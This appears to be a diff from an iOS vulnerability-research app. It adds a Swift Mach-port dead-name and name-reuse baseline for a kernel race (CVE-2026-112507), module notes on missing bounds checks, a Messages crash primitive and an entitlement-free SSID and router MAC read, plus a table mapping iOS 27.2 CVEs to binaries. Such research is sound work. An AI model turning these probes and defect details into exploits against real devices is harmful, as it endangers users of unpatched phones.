|
||||||
|
var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, ¬ify)
|
||||||
|
lines.append("notify_port alloc: \(name(kr)) name=\(notify)")
|
||||||
|
guard kr == KERN_SUCCESS else { return (lines, false, false, kr) }
|
||||||
|
|
||||||
|
var target: mach_port_t = 0
|
||||||
|
kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target)
|
||||||
|
lines.append("target receive: \(name(kr)) name=\(target)")
|
||||||
|
guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) }
|
||||||
|
|
||||||
|
kr = mach_port_insert_right(task, target, target,
|
||||||
|
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
|
||||||
|
lines.append("insert send right: \(name(kr))")
|
||||||
|
|
||||||
|
var prev: mach_port_t = 0
|
||||||
|
let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify,
|
||||||
|
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
|
||||||
|
kr = requestKR
|
||||||
|
lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)")
|
||||||
|
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
|
||||||
|
|
||||||
|
kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1)
|
||||||
|
lines.append("drop receive right: \(name(kr))")
|
||||||
|
|
||||||
|
var hdr = mach_msg_header_t()
|
||||||
|
hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
|
||||||
|
hdr.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
|
||||||
|
hdr.msgh_remote_port = target
|
||||||
|
hdr.msgh_local_port = 0
|
||||||
|
hdr.msgh_id = 0
|
||||||
|
kr = mach_msg_send(&hdr)
|
||||||
|
lines.append("send to dead name: \(name(kr))")
|
||||||
|
|
||||||
|
// DEAD_NAME fires when the last send right is released, not when the receive
|
||||||
|
// right is dropped. Release it before waiting, otherwise the receive always
|
||||||
|
// times out and the baseline records a false negative.
|
||||||
|
kr = mach_port_deallocate(task, target)
|
||||||
|
lines.append("release last send right: \(name(kr))")
|
||||||
|
|
||||||
|
var buffer = [UInt8](repeating: 0, count: 256)
|
||||||
|
kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in
|
||||||
|
let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self)
|
||||||
|
return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT),
|
||||||
|
0, mach_msg_size_t(raw.count), notify, 200, 0)
|
||||||
|
}
|
||||||
|
lines.append("receive notification: \(name(kr))")
|
||||||
|
if kr == KERN_SUCCESS {
|
||||||
|
let got = buffer.withUnsafeBytes {
|
||||||
|
$0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee
|
||||||
|
}
|
||||||
|
deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME
|
||||||
|
lines.append(" id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)")
|
||||||
|
}
|
||||||
|
|
||||||
|
for _ in 0..<64 {
|
||||||
|
var p: mach_port_t = 0
|
||||||
|
if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS {
|
||||||
|
if p == target { reused = true; mach_port_destroy(task, p); break }
|
||||||
|
mach_port_destroy(task, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
lines.append("name reuse of \(target): \(reused ? "yes" : "no")")
|
||||||
|
|
||||||
|
mach_port_destroy(task, notify)
|
||||||
|
return (lines, deadName, reused, requestKR)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -196,7 +196,7 @@ enum ModuleText {
|
|||||||
iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
|
iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
|
||||||
""",
|
""",
|
||||||
notes: """
|
notes: """
|
||||||
The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index.
|
The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion.
|
||||||
"""),
|
"""),
|
||||||
|
|
||||||
"kern.decmpfs": Row(
|
"kern.decmpfs": Row(
|
||||||
@@ -550,6 +550,15 @@ enum ModuleText {
|
|||||||
This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
|
This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
|
||||||
"""),
|
"""),
|
||||||
|
|
||||||
|
"kern.ipc.lifecycle": Row(
|
||||||
|
title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)",
|
||||||
|
summary: """
|
||||||
|
A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries.
|
||||||
|
""",
|
||||||
|
notes: """
|
||||||
|
This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it.
|
||||||
|
"""),
|
||||||
|
|
||||||
"sc.dynamicstore": Row(
|
"sc.dynamicstore": Row(
|
||||||
title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
|
title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
|
||||||
summary: """
|
summary: """
|
||||||
|
|||||||
@@ -205,6 +205,7 @@ enum RuntimeText {
|
|||||||
"UDID (设备)": "UDID (device)",
|
"UDID (设备)": "UDID (device)",
|
||||||
"XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers",
|
"XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers",
|
||||||
"XNU 内核": "XNU kernel",
|
"XNU 内核": "XNU kernel",
|
||||||
|
"新收录": "New arrivals",
|
||||||
"archive_read_new 失败": "archive_read_new failed",
|
"archive_read_new 失败": "archive_read_new failed",
|
||||||
"audioCustom 事件已投递": "audioCustom event delivered",
|
"audioCustom 事件已投递": "audioCustom event delivered",
|
||||||
"caret 坐标: ": "caret positions: ",
|
"caret 坐标: ": "caret positions: ",
|
||||||
|
|||||||
@@ -0,0 +1,168 @@
|
|||||||
|
# iOS 27.2 advisory — all entries
|
||||||
|
|
||||||
|
162 CVEs across 67 components. Source: Apple security advisory 149230 (iOS 27.2 / iPadOS 27.2, 2026-10-26).
|
||||||
|
|
||||||
|
| CVE | Component | Impact | Description | Binary candidate |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| CVE-2026-112466 | AVEVideoEncoder | An app may be able to cause unexpected system termination or read kernel memory | An out-of-bounds read was addressed with improved input validation. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
|
||||||
|
| CVE-2026-112468 | AVEVideoEncoder | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
|
||||||
|
| CVE-2026-112469 | AVEVideoEncoder | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
|
||||||
|
| CVE-2026-112470 | AVEVideoEncoder | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
|
||||||
|
| CVE-2026-112689 | AVEVideoEncoder | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved input validation. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
|
||||||
|
| CVE-2026-112705 | AVEVideoEncoder | An app may be able to cause unexpected system termination | An out-of-bounds write issue was addressed with improved bounds checking. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
|
||||||
|
| CVE-2026-86971 | Accelerate Framework | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | Accelerate |
|
||||||
|
| CVE-2026-84493 | AccessorySetupKit | A malicious app may be able to access Bluetooth without user consent | An authentication issue was addressed with improved state management. | AccessorySetupKit |
|
||||||
|
| CVE-2026-112446 | Accounts | An app may be able to access sensitive user data | This issue was addressed with additional entitlement checks. | Accounts |
|
||||||
|
| CVE-2026-112612 | Accounts | An attacker with physical access to a trust-paired device may be able to read and write arbitrary files | A path handling issue was addressed with improved validation. | Accounts |
|
||||||
|
| CVE-2026-113898 | Accounts | A malicious application may be able to bypass Privacy preferences | A logging issue was addressed with improved data redaction. | Accounts |
|
||||||
|
| CVE-2026-112692 | App Intents | An app may be able to access sensitive user data | This issue was addressed with additional entitlement checks. | AppIntents |
|
||||||
|
| CVE-2026-112690 | App Store | A remote attacker may be able to break out of the WebContent sandbox | This issue was addressed with improved input validation. | AppStore |
|
||||||
|
| CVE-2026-113914 | App Store | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | AppStore |
|
||||||
|
| CVE-2026-86987 | Apple Intelligence | A remote attacker may be able to access sensitive user data | An authorization issue was addressed with improved entitlement checks. | AppleIntelligence |
|
||||||
|
| CVE-2026-112696 | Apple Neural Engine | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | AppleH16ANEInterface / AppleNeuralEngine.framework |
|
||||||
|
| CVE-2026-84494 | Apple Neural Engine | An app may be able to cause unexpected system termination or write kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | AppleH16ANEInterface / AppleNeuralEngine.framework |
|
||||||
|
| CVE-2026-112415 | AppleAVD | An app may be able to cause unexpected system termination or corrupt process memory | An out-of-bounds write was addressed with improved input validation. | ? |
|
||||||
|
| CVE-2026-112416 | AppleAVD | Processing a maliciously crafted video file may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | ? |
|
||||||
|
| CVE-2026-112454 | AppleAVD | Processing a maliciously crafted video file may lead to unexpected app termination or corrupt process memory | The issue was addressed with improved memory handling. | ? |
|
||||||
|
| CVE-2026-112546 | Audio | Processing a maliciously crafted file may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | AudioToolbox / AudioCodecs |
|
||||||
|
| CVE-2026-112566 | Bluetooth | An attacker in physical proximity may be able to cause a denial-of-service | A null pointer dereference was addressed with improved validation. | Bluetooth.framework / IOBluetooth kexts |
|
||||||
|
| CVE-2026-113906 | Bluetooth | An attacker in physical proximity may be able to cause a denial-of-service | A null pointer dereference was addressed with improved validation. | Bluetooth.framework / IOBluetooth kexts |
|
||||||
|
| CVE-2026-112619 | Calendar | Processing a maliciously crafted calendar invitation may lead to memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | CalendarFoundation |
|
||||||
|
| CVE-2026-112678 | Calendar | An app may be able to access sensitive user data | A permissions issue was addressed with additional restrictions. | CalendarFoundation |
|
||||||
|
| CVE-2026-112701 | CloudKit | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | CloudKit |
|
||||||
|
| CVE-2026-86988 | ColorSync | Processing a maliciously crafted image may result in disclosure of process memory | The issue was addressed with improved checks. | ColorSync |
|
||||||
|
| CVE-2026-113910 | Compression | An app may be able to disclose kernel memory | A memory initialization issue was addressed with improved memory handling. | libcompression.dylib |
|
||||||
|
| CVE-2026-113908 | Contacts | An app may be able to access sensitive user data | A privacy issue was addressed by removing sensitive data. | Contacts |
|
||||||
|
| CVE-2026-112638 | CoreAudio | An attacker in radio range may be able to cause unexpected system termination | A heap buffer overflow was addressed with improved bounds checking. | CoreAudio.framework / AudioToolbox |
|
||||||
|
| CVE-2026-113907 | CoreAudio | An app may be able to cause unexpected system termination or corrupt process memory | A buffer overflow issue was addressed with improved memory handling. | CoreAudio.framework / AudioToolbox |
|
||||||
|
| CVE-2026-113912 | CoreAudio | Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory | An out-of-bounds access issue was addressed with improved bounds checking. | CoreAudio.framework / AudioToolbox |
|
||||||
|
| CVE-2026-86969 | CoreAudio | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write was addressed with improved input validation. | CoreAudio.framework / AudioToolbox |
|
||||||
|
| CVE-2026-86972 | CoreAudio | Processing a maliciously crafted audio file may lead to memory corruption | A buffer overflow was addressed with improved size validation. | CoreAudio.framework / AudioToolbox |
|
||||||
|
| CVE-2026-112610 | CoreGraphics | Processing a maliciously crafted PDF file may lead to memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | CoreGraphics.framework |
|
||||||
|
| CVE-2026-112611 | CoreGraphics | Processing a maliciously crafted PDF file may lead to memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | CoreGraphics.framework |
|
||||||
|
| CVE-2026-113950 | CoreGraphics | Processing a maliciously crafted font may lead to unexpected app termination or corrupt process memory | An out-of-bounds write issue was addressed with improved bounds checking. | CoreGraphics.framework |
|
||||||
|
| CVE-2026-112688 | CoreMedia | Parsing a file may lead to an unexpected app termination or arbitrary code execution | A memory corruption issue was addressed with improved memory handling. | CoreMedia.framework / mediaplaybackd |
|
||||||
|
| CVE-2026-112706 | CoreMedia | An app may be able to access sensitive user data | A permissions issue was addressed with additional restrictions. | CoreMedia.framework / mediaplaybackd |
|
||||||
|
| CVE-2026-86990 | CoreMedia | A malicious app may be able to access the camera without user permission | An access issue was addressed with improved access restrictions. | CoreMedia.framework / mediaplaybackd |
|
||||||
|
| CVE-2026-86992 | CoreMedia | Processing a maliciously crafted video file may lead to unexpected app termination | The issue was addressed with improved memory handling. | CoreMedia.framework / mediaplaybackd |
|
||||||
|
| CVE-2026-112656 | CoreText | Processing a maliciously crafted font may result in the disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | CoreText.framework |
|
||||||
|
| CVE-2026-113896 | FileProvider | An app may be able to access sensitive user data | A race condition was addressed with additional validation. | FileProvider |
|
||||||
|
| CVE-2026-112618 | Files | An app may be able to access sensitive user data | An access issue was addressed with improved access restrictions. | Files |
|
||||||
|
| CVE-2026-112432 | FontParser | An app may be able to access sensitive user data | A logging issue was addressed with improved data redaction. | FontParser.framework |
|
||||||
|
| CVE-2026-112642 | FontParser | Processing a maliciously crafted font may result in the disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | FontParser.framework |
|
||||||
|
| CVE-2026-112683 | FontParser | Processing a maliciously crafted font may lead to unexpected app termination or corrupt process memory | An out-of-bounds write issue was addressed with improved bounds checking. | FontParser.framework |
|
||||||
|
| CVE-2026-86970 | FontParser | Processing a maliciously crafted font may result in the disclosure of process memory | An out-of-bounds read was addressed with improved input validation. | FontParser.framework |
|
||||||
|
| CVE-2026-112456 | HFS | Processing a maliciously crafted file may lead to heap corruption | An out-of-bounds write issue was addressed with improved input validation. | com.apple.filesystems.hfs.kext |
|
||||||
|
| CVE-2026-112518 | Heimdal | An attacker in a privileged network position may be able to impersonate a Kerberos KDC | An issue with signature validation was addressed with improved checks. | Heimdal (Kerberos) |
|
||||||
|
| CVE-2026-112596 | HomeKit | Processing a maliciously crafted video file may lead to unexpected system termination | An integer overflow was addressed with improved bounds checking. | HomeKit |
|
||||||
|
| CVE-2026-86978 | HomeKit | An app may be able to access sensitive user data | This issue was addressed with improved checks. | HomeKit |
|
||||||
|
| CVE-2026-112515 | IOHIDFamily | An attacker may be able to cause unexpected system termination or read kernel memory | An out-of-bounds read was addressed with improved bounds checking. | com.apple.iokit.IOHIDFamily |
|
||||||
|
| CVE-2026-65385 | IOKit | A buffer overflow may result in memory corruption and unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | IOKit.framework / IOKit kexts |
|
||||||
|
| CVE-2026-112459 | IOMobileFrameBuffer | An app may be able to cause unexpected system termination or corrupt kernel memory | A race condition was addressed with improved state handling. | com.apple.driver.IOMobileFrameBuffer |
|
||||||
|
| CVE-2026-112554 | IOStorageFamily | An app may be able to cause unexpected system termination or read kernel memory | An out-of-bounds read was addressed with improved bounds checking. | com.apple.iokit.IOStorageFamily |
|
||||||
|
| CVE-2026-112477 | IOSurface | An app may be able to cause unexpected system termination or corrupt kernel memory | A race condition was addressed with improved locking. | IOSurface.framework / IOSurface kext |
|
||||||
|
| CVE-2026-112488 | ImageIO | Processing a maliciously crafted image may corrupt process memory | A buffer overflow issue was addressed with improved memory handling. | ImageIO.framework |
|
||||||
|
| CVE-2026-112561 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | ImageIO.framework |
|
||||||
|
| CVE-2026-112571 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | A memory initialization issue was addressed with improved memory handling. | ImageIO.framework |
|
||||||
|
| CVE-2026-112614 | ImageIO | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | ImageIO.framework |
|
||||||
|
| CVE-2026-112625 | ImageIO | Processing a maliciously crafted image may result in memory corruption | An integer underflow was addressed with improved input validation. | ImageIO.framework |
|
||||||
|
| CVE-2026-112627 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | ImageIO.framework |
|
||||||
|
| CVE-2026-112629 | ImageIO | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | ImageIO.framework |
|
||||||
|
| CVE-2026-112630 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | An uninitialized memory issue was addressed with improved memory handling. | ImageIO.framework |
|
||||||
|
| CVE-2026-112632 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | An uninitialized memory issue was addressed with improved memory handling. | ImageIO.framework |
|
||||||
|
| CVE-2026-112633 | ImageIO | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | ImageIO.framework |
|
||||||
|
| CVE-2026-112634 | ImageIO | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | ImageIO.framework |
|
||||||
|
| CVE-2026-112474 | Kernel | An app may be able to cause unexpected system termination or write kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112476 | Kernel | An app may be able to cause unexpected system termination | An out-of-bounds read was addressed with improved bounds checking. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112501 | Kernel | An app may be able to cause unexpected system termination | A race condition was addressed with improved state handling. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112507 | Kernel | An app may be able to cause unexpected system termination or write kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112514 | Kernel | An attacker may be able to cause unexpected system termination or corrupt kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112516 | Kernel | An app may be able to cause unexpected system termination | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112517 | Kernel | An app may be able to cause unexpected system termination or corrupt kernel memory | A use after free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112576 | Kernel | An app may be able to cause unexpected changes to copy-on-write memory | A memory integrity issue was addressed with improved handling of copy-on-write pages. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112606 | Kernel | An app may be able to cause unexpected system termination | A type confusion issue was addressed with improved memory handling. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112624 | Kernel | An app may be able to bypass Privacy preferences | This issue was addressed with improved checks. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112665 | Kernel | An app may be able to determine kernel memory layout | An information disclosure issue was addressed with improved state management. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112679 | Kernel | An app may be able to cause unexpected system termination or corrupt kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112698 | Kernel | An app may be able to cause unexpected system termination | The issue was addressed with improved memory handling. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-65350 | Kernel | An app may be able to cause unexpected system termination or corrupt kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-84495 | Kernel | An app may be able to cause unexpected system termination or write kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
|
||||||
|
| CVE-2026-112621 | LinkPresentation | Processing a maliciously crafted image may result in memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | LinkPresentation.framework |
|
||||||
|
| CVE-2026-112414 | Mail | Processing a maliciously crafted message may lead to a denial-of-service | A stack overflow was addressed with improved input validation. | Mail |
|
||||||
|
| CVE-2026-112671 | Mail | A remote attacker may be able to cause a denial-of-service | A resource exhaustion issue was addressed with improved input validation. | Mail |
|
||||||
|
| CVE-2026-112707 | Maps | An app may be able to identify what other apps a user has installed | A privacy issue was addressed by moving sensitive data to a protected location. | Maps |
|
||||||
|
| CVE-2026-113915 | MediaAnalysis | An app may be able to access sensitive user data | A race condition was addressed with additional validation. | MediaAnalysis |
|
||||||
|
| CVE-2026-112687 | MediaRemote | An attacker on the local network may be able to cause unexpected system termination or corrupt process memory | This issue was addressed by removing the vulnerable code. | MediaRemote |
|
||||||
|
| CVE-2026-112682 | Messages | A remote attacker may be able to cause unexpected app termination | An input validation issue was addressed with improved input validation. | Messages / IMSharedUtilities |
|
||||||
|
| CVE-2026-86989 | MobileGestalt | An app may be able to fingerprint the user | An authorization issue was addressed with improved state management. | MobileGestalt |
|
||||||
|
| CVE-2026-112413 | Model I/O | Processing a maliciously crafted file may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | ? |
|
||||||
|
| CVE-2026-112449 | Model I/O | Processing a maliciously crafted 3D model may lead to memory corruption | An integer overflow was addressed with improved input validation. | ? |
|
||||||
|
| CVE-2026-112461 | Model I/O | Processing a maliciously crafted 3D model may lead to memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | ? |
|
||||||
|
| CVE-2026-112485 | Model I/O | Processing a maliciously crafted 3D model may lead to memory corruption | The issue was addressed with improved memory handling. | ? |
|
||||||
|
| CVE-2026-112486 | Model I/O | Processing a 3D model may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | ? |
|
||||||
|
| CVE-2026-112565 | Model I/O | Processing a maliciously crafted 3D model may lead to memory corruption | An integer overflow was addressed with improved input validation. | ? |
|
||||||
|
| CVE-2026-112660 | Photos Storage | An app may be able to bypass certain Privacy preferences | An authorization issue was addressed with improved state management. | Photos |
|
||||||
|
| CVE-2026-112676 | Photos Storage | An app may be able to access a user's Photos Library | This issue was addressed with additional entitlement checks. | Photos |
|
||||||
|
| CVE-2026-65397 | Photos Storage | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | Photos |
|
||||||
|
| CVE-2026-112681 | Power Management | An app may be able to fingerprint the user | This issue was addressed with additional entitlement checks. | com.apple.driver.AppleARMPlatform / PM kexts |
|
||||||
|
| CVE-2026-86925 | Quick Look | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | QuickLook |
|
||||||
|
| CVE-2026-112491 | RealityKit | Processing a maliciously crafted file may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | RealityKit |
|
||||||
|
| CVE-2026-112547 | ReplayKit | An app may be able to access sensitive user data | A type confusion issue was addressed with improved checks. | ReplayKit |
|
||||||
|
| CVE-2026-112609 | Safety Check | An app may be able to access sensitive user data | This issue was addressed with improved checks. | SafetyCheck |
|
||||||
|
| CVE-2026-112423 | SceneKit | Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents | An out-of-bounds read was addressed with improved bounds checking. | SceneKit |
|
||||||
|
| CVE-2026-112425 | SceneKit | Processing a 3D model may result in disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | SceneKit |
|
||||||
|
| CVE-2026-112464 | SceneKit | Processing a maliciously crafted file may lead to heap corruption | An out-of-bounds write issue was addressed with improved input validation. | SceneKit |
|
||||||
|
| CVE-2026-86991 | SceneKit | Processing a maliciously crafted file may lead to unexpected process termination | A buffer overflow was addressed with improved bounds checking. | SceneKit |
|
||||||
|
| CVE-2026-112616 | Screen Time | An app may be able to access sensitive user data | An authorization issue was addressed with improved access control. | ScreenTime |
|
||||||
|
| CVE-2026-112652 | Security | An malicious app may be able to bypass certificate validation | A logic issue was addressed with improved state management. | Security.framework |
|
||||||
|
| CVE-2026-113913 | Security | Processing web content may disclose sensitive information | An input validation issue was addressed with improved input validation. | Security.framework |
|
||||||
|
| CVE-2026-112455 | Shortcuts | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | Shortcuts |
|
||||||
|
| CVE-2026-112559 | Shortcuts | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | Shortcuts |
|
||||||
|
| CVE-2026-112658 | Siri | An app may be able to access sensitive user data | This issue was addressed with improved input validation. | Siri |
|
||||||
|
| CVE-2026-112685 | Siri | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | Siri |
|
||||||
|
| CVE-2022-26704 | Spotlight | An app may be able to gain elevated privileges | A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks. | Spotlight |
|
||||||
|
| CVE-2026-112567 | Spotlight | A malicious application may be able to bypass Privacy preferences | This issue was addressed with improved checks. | Spotlight |
|
||||||
|
| CVE-2026-112628 | Spotlight | An app may be able to access sensitive user data | This issue was addressed with improved data access restriction. | Spotlight |
|
||||||
|
| CVE-2026-112646 | SpringBoard | An app may be able to cause unexpected system termination or corrupt process memory | An out-of-bounds write issue was addressed with improved bounds checking. | SpringBoard |
|
||||||
|
| CVE-2026-112691 | SwiftUI | An app may be able to cause unexpected system termination | An out-of-bounds write issue was addressed with improved input validation. | SwiftUI |
|
||||||
|
| CVE-2026-86968 | System Preferences | A malicious app may be able to access restricted system interfaces or launder launch attribution | An access issue was addressed with improved access control. | SystemPreferences |
|
||||||
|
| CVE-2026-84605 | TextKit | An app may be able to read the device's name | An authorization issue was addressed with improved state management. | TextKit |
|
||||||
|
| CVE-2026-112595 | Thread | An attacker in physical proximity may be able to craft malicious network traffic to gain access to a Thread network | This issue was addressed with improved authentication. | ThreadNetwork.framework |
|
||||||
|
| CVE-2026-112479 | USB | A malicious USB device may be able to cause unexpected system termination or read kernel memory | An out-of-bounds read was addressed with improved bounds checking. | USB kexts |
|
||||||
|
| CVE-2026-112599 | WebKit | Processing maliciously crafted web content may lead to an unexpected process crash | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112615 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112623 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112640 | WebKit | Processing maliciously crafted web content may lead to memory corruption | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112651 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112653 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112654 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112655 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
